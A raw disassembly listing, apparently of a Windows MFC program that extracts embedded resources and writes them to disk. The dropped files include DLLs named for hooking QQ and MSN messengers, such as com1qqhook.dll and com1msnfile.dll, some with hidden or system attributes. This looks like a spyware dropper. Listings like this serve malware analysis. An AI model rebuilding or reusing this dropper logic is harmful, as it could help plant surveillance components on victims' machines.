mov dword [esp + 0x2c], ebx
jbe 0x403c0b
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x403bed
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push str.uninst.exe
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x2f
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x88
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403c91
push 0x10
push 0x4098f4
push 0x409904
jmp 0x405546
push 0x10
push 0x4098ec
push 0x4098c0
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x403cbc
push 0x10
push 0x4098b8
push 0x409ca8
jmp 0x405546
mov eax, dword [esp + 0x14]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4054c0
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x403d09
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x403ceb
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push str.com1qqhook.dll
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x30
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x8e
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403d7e
push 0x10
push 0x40989c
push 0x409904
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x403da9
push 0x10
push 0x409894
push 0x409ca8
jmp 0x405546
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4054af
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x403df6
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x2c]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x403dd8
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push str.com1qqfile.dll
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x31
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x9d
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403e6b
push 0x10
push 0x409878
push 0x409904
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x403e96
push 0x10
push 0x409870
push 0x409ca8
jmp 0x405546
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40549e
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x403ee3
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x403ec5
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push str.com1msnfile.dll
lea edx, [esp + 0x1c]
push ecx
push edx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x32
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x9e
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x403f58
push 0x10
push 0x409854
push 0x409904
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x403f83
push 0x10
push 0x40984c
push 0x409ca8
jmp 0x405546
mov eax, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40548d
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x403fd0
mov edx, dword [esp + 0x28]
lea ecx, [esp + 0x2c]
sub edx, esi
push 0
push ecx
add edx, ebx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x403fb2
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push str.com1primoni.dll
lea ecx, [esp + 0x1c]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x33
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xa1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x404045
push 0x10
push 0x409830
push 0x409904
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x404070
push 0x10
push 0x409828
push 0x409ca8
jmp 0x405546
mov edx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40547c
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x4040bd
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x2c]
sub ecx, esi
push 0
push eax
add ecx, ebx
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x40409f
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x10]
push str.com1usbportdll.dll
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x34
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0x9a
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x404132
push 0x10
push 0x409808
push 0x409904
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x40415d
push 0x10
push 0x409800
push 0x409ca8
jmp 0x405546
mov ecx, dword [esp + 0x14]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40546b
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x4041aa
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x40418c
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push 0x409934
lea edx, [esp + 0x2c]
push ecx
push edx
call sub.MFC42.DLL_operator
push 0x4097f4
push eax
lea eax, [esp + 0x20]
mov bl, 0x35
push eax
mov byte [esp + 0xab0], bl
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x36
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xc4
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x404248
push 0x10
push 0x4097ec
push 0x409904
jmp 0x405546
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
mov dword [esp + 0x28], eax
jne 0x404273
push 0x10
push 0x4097e4
push 0x409ca8
jmp 0x405546
mov ecx, dword [esp + 0x14]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4042cd
test ebx, ebx
mov esi, ebx
mov dword [esp + 0x2c], ebx
jbe 0x4042bf
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x2c]
sub eax, esi
push 0
push edx
add eax, ebx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esi, dword [esp + 0x2c]
jne 0x4042a1
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
push str.com1_
lea edx, [esp + 0x2c]
push ecx
push edx
call sub.MFC42.DLL_operator
push str.winser.dll
push eax
lea eax, [esp + 0x20]
mov bl, 0x37
push eax
mov byte [esp + 0xab0], bl
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x38
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x4043fb
call sub.MFC42.DLL_AfxGetModuleState
mov esi, dword [eax + 0xc]
push str.IMAGE
push 0xa4
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x404375
lea edx, [esp + 0x10]
push str.com1devctrl.dll
lea eax, [esp + 0x1c]
push edx
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa8], 0x39
call fcn.004062fc
lea ecx, [esp + 0x18]
mov byte [esp + 0xaa4], 0x29
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x404511
push 0x10
push 0x40936c
push 0x40933c
jmp 0x405546
push 0x10
push 0x409334
push 0x409304
jmp 0x405546
push 0x10
push 0x4092fc
push 0x4092cc
jmp 0x405546
push 0x10
push 0x4092c4
push 0x409294
jmp 0x405546
push 0x10
push 0x40928c
push 0x40933c
jmp 0x405546
push 0x10
push 0x409284
push 0x409254
jmp 0x405546
push 0x10
push 0x40924c
push 0x40921c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x30]
jmp 0x40564c
push 0x10
push 0x409214
push 0x40921c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x30]
jmp 0x40564c
push 0x10
push 0x40920c
push 0x40921c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x30]
jmp 0x40564c
push 0x10
push 0x409204
push 0x40921c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x30]
jmp 0x40564c
push 0x10
push 0x4091fc
push 0x40921c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push 0x10
push 0x4091f4
push 0x40921c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push 0x10
push 0x4091ec
push 0x40921c
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push 0x10
push 0x4091e4
push 0x4091b0
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push 0x10
push 0x4091a8
push 0x409178
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push 0x10
push 0x409170
push 0x409140
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
jmp 0x40564c
push 0x10
push 0x409138
push 0x409b98
mov ecx, ebp
call sub.MFC42.DLL_CWnd::MessageBoxA
mov byte [esp + 0xaa4], 8
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0xaa4], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0xaa4], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0xaa4], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0xaa4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov dword [esp + 0xaa4], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0xa9c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0xa98
ret